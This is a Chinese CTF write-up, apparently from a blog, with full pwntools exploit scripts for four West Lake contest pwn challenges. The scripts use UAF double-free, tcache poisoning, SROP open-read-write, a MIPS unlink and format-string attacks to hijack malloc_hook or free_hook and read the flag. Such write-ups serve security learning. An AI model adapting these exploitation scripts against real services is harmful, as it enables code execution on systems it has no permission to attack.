西湖论剑

真的,noleakfmt把脑子想没了,1.2.3题还是很简单的,两个UAF和一个mips的unlink,pwn4没仔细看,pwn5和国赛一个题类似;下载附件

pwn1

因为是UAF的洞,所以可以double free,然后又给了我们一个stack地址,所以先case 3在栈上布置一个fake chunk header,再利用fastbin attack将块申请过去,因为可以一直覆盖,而read函数又不会末尾补0,因而printf(“%s”),会把libc_start_main_ret带出来,得到libc_base就打malloc_hook,realloc修一下栈,本地和远程还有点不同,修栈也有点问题

1
from pwn import*
2
def menu(ch):
3
	p.sendlineafter('choise:',str(ch))
4
p = process('./main')
5
p = remote('183.129.189.61',56304)
6
libc =ELF('./libc-2.23.so')
7
p.sendafter("name:",(p64(0) + p64(0x31))*6)
8
p.recvuntil('tag: ')
9
stack = int(p.recv(14),16)
10
log.info("Stack:\t" + hex(stack))
11
12
13
###########
14
def new(idx,content):
15
	menu(1)
16
	p.sendlineafter('your id:',str(idx))
17
	p.sendafter('content',content)
18
def free(idx):
19
	menu(2)
20
	p.sendlineafter('your id:',str(idx))
21
def W(content):
22
	menu(3)
23
	p.send(content)
24
25
p.sendlineafter('choice:',"2")
26
27
W(p64(0) + p64(0x71) + p64(0)*2)
28
new(1,"AAAA")
29
new(2,"AAAA")
30
free(2)
31
free(1)
32
free(2)
33
new(3,p64(stack - 0x40))
34
new(4,"AAAA")
35
new(5,"AAAA")
36
new(6,"A"*0x44 + 'MMMM')
37
W("F"*0x20)
38
p.recvuntil("MMMM")
39
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 240 - libc.sym['__libc_start_main']
40
log.info("LIBC:\t"+ hex(libc_base))
41
free(2)
42
free(1)
43
free(2)
44
45
rce = libc_base + 0x4527A
46
realloc = libc_base + libc.sym['realloc']
47
malloc_hook = libc_base + libc.sym['__malloc_hook']
48
new(7,p64(malloc_hook - 0x23))
49
new(8,"UUUU")
50
new(9,'UUUU')
51
new(10,'\x00'*(0x13 - 8) + p64(rce) + p64(realloc + 4))
52
free(1)
53
free(1)
54
p.interactive()

pwn2

模拟了一个POST传参,其实并不难,只是一个菜单堆,可以通过测试几次就把交互模板写出来
因为又是UAF漏洞,首先放一个块进入unsorted bin中,然后tcache posion申请过去将块的fd的libc地址最后两个字节修改成IO_2_1_stdout,再用另外一个0x20的块申请过去,即可利用stdout结构leak出libc,最后则是利用free_hook,用setcontext+53制造一个SROP,将srop结构布置到堆上,释放这个块就能执行orw了

1
from pwn import*
2
context.arch = 'AMD64'
3
def new(content):
4
	p.sendline("POST /create Cookie: user=admin token: \x34\r\n\r\ncontent=" + content)
5
	sleep(0.05)
6
def free(idx):
7
	p.sendline("POST /del Cookie: user=admin token: \x34\r\n\r\nindex=" + str(idx))
8
	sleep(0.05)
9
def edit(idx,content):
10
	p.sendline("POST /edit Cookie: user=admin token: \x34\r\n\r\nindex=" +str(idx) +  "&content="+ content)
11
	sleep(0.05)
12
while True:
13
	p = process('./main')
14
	p = remote('183.129.189.61',53702)
15
	libc =ELF('./libc-2.27.so')
16
	try:
17
		new("A"*0x80)
18
		new("A"*0x20 + '\x00')
19
		new("A"*0x10 + '\x00')
20
		new("A"*0x100)
21
		p.recvuntil("Your gift: ")
22
		heap_base = int(p.recvuntil('"}',drop=True),16) - 0x260
23
		log.info('HEAP:\t' + hex(heap_base))
24
25
		for i in range(8):
26
			free(0)
27
		free(2)
28
		free(2)
29
		free(2)
30
		new(p64(heap_base + 0x260))
31
		new(p64(heap_base + 0x260))
32
		new('\x60\x47')
33
34
		free(1)
35
		free(1)
36
		new("A"*0x20)
37
		edit(7,p64(heap_base + 0x260))
38
		new("A"*0x20)
39
		new("A"*0x20)
40
		new("A"*0x28)
41
		edit(10,p64(0xFBAD1800) + p64(0)*3 + '\xC8')
42
		libc_base = u64(p.recvuntil('\x7F',timeout=0.3)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
43
		log.info('LIBC:\t' + hex(libc_base))
44
		free_hook = libc_base + libc.sym['__free_hook']
45
		system = libc_base + libc.sym['system']
46
		setcontext = libc_base + libc.sym['setcontext'] + 53
47
		rce = libc_base + 0x4F3C2
48
		free(2)
49
		free(2)
50
		new(p64(free_hook))
51
		new("UUUU")
52
		new(p64(setcontext))
53
		ret = libc_base  + 0x00000000000008AA
54
55
		Open = libc_base + libc.symbols["open"]
56
		Read = libc_base + libc.symbols["read"]
57
		Puts = libc_base + libc.symbols['puts']
58
		pop_rdi_ret = libc_base + 0x000000000002155F
59
		pop_rsi_ret = libc_base + 0x0000000000023E8A
60
		pop_rdx_ret = libc_base + 0x0000000000001B96
61
		orw  = ''
62
		orw += p64(pop_rdi_ret)+p64(heap_base + 0x3B8)
63
		orw += p64(pop_rsi_ret)+p64(0)
64
		orw += p64(Open)
65
		orw += p64(pop_rdi_ret) + p64(4)
66
		orw += p64(pop_rdx_ret) + p64(0x30)
67
		orw += p64(pop_rsi_ret) + p64(heap_base)
68
		orw += p64(Read)
69
		orw += p64(pop_rdi_ret)+p64(heap_base)
70
		orw += p64(Puts)
71
		orw += './flag\x00'
72
		frame = SigreturnFrame()
73
		frame.rax = 0
74
		frame.rdi = 0
75
		frame.rsi = 0
76
		frame.rdx = 0
77
		frame.rsp = heap_base + 0x250 + 0x90 + 0x30 + 0x20 + 0x10
78
		frame.rip = ret
79
		payload = orw + str(frame)[len(orw):]
80
		edit(3,payload)
81
		free(3)
82
		break
83
	except:
84
		p.close()
85
		continue
86
p.interactive()

pwn3

简单mips,和glibc的unlink任意写做法一样

1
from pwn import*
2
def menu(ch):
3
	p.sendlineafter("options >>",str(ch))
4
def new(size,content):
5
	menu(1)
6
	p.sendlineafter('length:',str(size))
7
	p.sendafter('info:',content)
8
def free(index):
9
	menu(2)
10
	p.sendlineafter('user:',str(index))
11
def edit(index,content):
12
	menu(3)
13
	p.sendlineafter("edit:",str(index))
14
	p.sendafter('info:',content)
15
def show(index):
16
	menu(4)
17
	p.sendlineafter("show:",str(index))
18
p = process('./run.sh',shell=True)
19
p = remote('183.129.189.62',58603)
20
free_got = 0x4117B4
21
note_list = 0x411830
22
new(0x80,"UUUU")
23
new(0x88,"UUUU")
24
new(0x20,"cat flag\n")
25
edit(0,p32(0) + p32(0x81) + p32(note_list -12) + p32(note_list -8) + '\x00'*0x70 + p32(0x80) + p32(0x90))
26
free(1)
27
edit(0,p64(0) + p32(free_got) + p32(4))
28
show(0)
29
p.recvuntil('info: ')
30
libc_base = u32(p.recv(4)) - 0x56B68
31
log.info('LIBC:\t' + hex(libc_base))
32
system = libc_base + 0x5F8F0
33
edit(0,p32(system))
34
free(2)
35
p.interactive()

pwn5

思路和国赛第二天的fmt差不多,主要是利用si进入pritnf函数中,会push一个返回地址进去,这里如果利用printf中的实现函数,格式化字符串漏洞将这个返回地址改成start函数,就能抬栈,然后栈上留下_IO_2_1_stdout_的指针,然后通过栈链将这个地址改到fileno位置,修改stdout结构体中的fileno为2,之后则是拿到libc往malloc_hook中写og,再用printf触发调用malloc_hook

1
from pwn import*
2
#context.log_level = 'DEBUG'
3
while True:
4
	p = process('./main',timeout=0.5)
5
#	p = remote('183.129.189.62',61405)
6
	elf =ELF('./main')
7
	libc =ELF('./libc-2.23.so')
8
9
	try:
10
		p.recvuntil('gift : ')
11
		stack = int(p.recv(14),16)
12
13
		if stack&0xFFFF > 0x2000:
14
			p.close
15
			continue
16
		log.info('Stack:\t' + hex(stack))
17
		p.sendline('\x00'*0x50 + './flag\n')
18
		p.sendline('%' + str((stack  -0xC)&0xFFFF) + 'c%11$hn')
19
		p.sendline('%1968c%37$hn')
20
		sleep(0.02)
21
		def w(off,byte):
22
			if ord(byte):
23
				p.sendline('%' + str((stack + off)&0xFFFF) + 'c%10$hn')
24
				p.sendline('%' + str(ord(byte)) + 'c%36$hhn')
25
			else:
26
				p.sendline('%' + str((stack + off)&0xFFFF) + 'c%10$hn')
27
				p.sendline('%36$hn')
28
			sleep(0.05)
29
#		gdb.attach(p,"set *(size_t*)0x7fffffffdf18=0x5555555547B0")
30
		w(-0x54,'\x90')
31
		p.sendline('%2c%26$n')
32
		
33
		p.sendline('LIBC:%9$pPIE:%8$p\x00')
34
		p.recvuntil('LIBC:')
35
		libc_base = int(p.recv(14),16) - 240 -libc.sym['__libc_start_main']
36
		log.info('LIBC:\t' + hex(libc_base))
37
		
38
		p.recvuntil('PIE:')
39
		proc_base = int(p.recv(14,timeout=0.5),16) -0x990
40
		log.info('Proc:\t' +hex(proc_base))
41
		
42
		pop_rdi_ret = libc_base + 0x0000000000021112
43
		pop_rsi_ret = libc_base + 0x00000000000202F8
44
		pop_rdx_ret = libc_base + 0x0000000000001B92
45
		Open = libc_base + libc.sym['open']
46
		Read = libc_base + libc.sym['read']
47
		Puts = libc_base + libc.sym['puts']
48
		
49
		ORW  = p64(pop_rdi_ret) + p64(proc_base + 0x201040 + 0x50) + p64(pop_rsi_ret) + p64(0) + p64(Open)
50
		ORW += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(proc_base + elf.bss() + 0x100) + p64(pop_rdx_ret) + p64(0x30) + p64(Read)
51
		ORW += p64(pop_rdi_ret) + p64(proc_base + elf.bss() + 0x100) + p64(Puts)
52
		#for i in range(len(ORW)):
53
		#	w(-0xDC + i,ORW[i])
54
		mhook = p64(libc_base + libc.sym['__malloc_hook'])
55
		rce = p64(libc_base + 0xF1207)
56
		for i in range(3,-1,-1):
57
			w(-0xDC + i,mhook[i])
58
		sleep(3)
59
		for i in range(4):
60
			w(-0xDC,chr(ord(mhook[0]) + i))
61
			p.sendline('%' + str(ord(rce[i])) + 'c%9$hhn')
62
			sleep(0.05)
63
		p.sendline('%99999c%10$n')
64
		break
65
	except:
66
		p.close()
67
		continue
68
os.system("rm core")
69
p.interactive()
Contents
  1. 1. pwn1
  2. 2. pwn2
  3. 3. pwn3
  4. 4. pwn5
|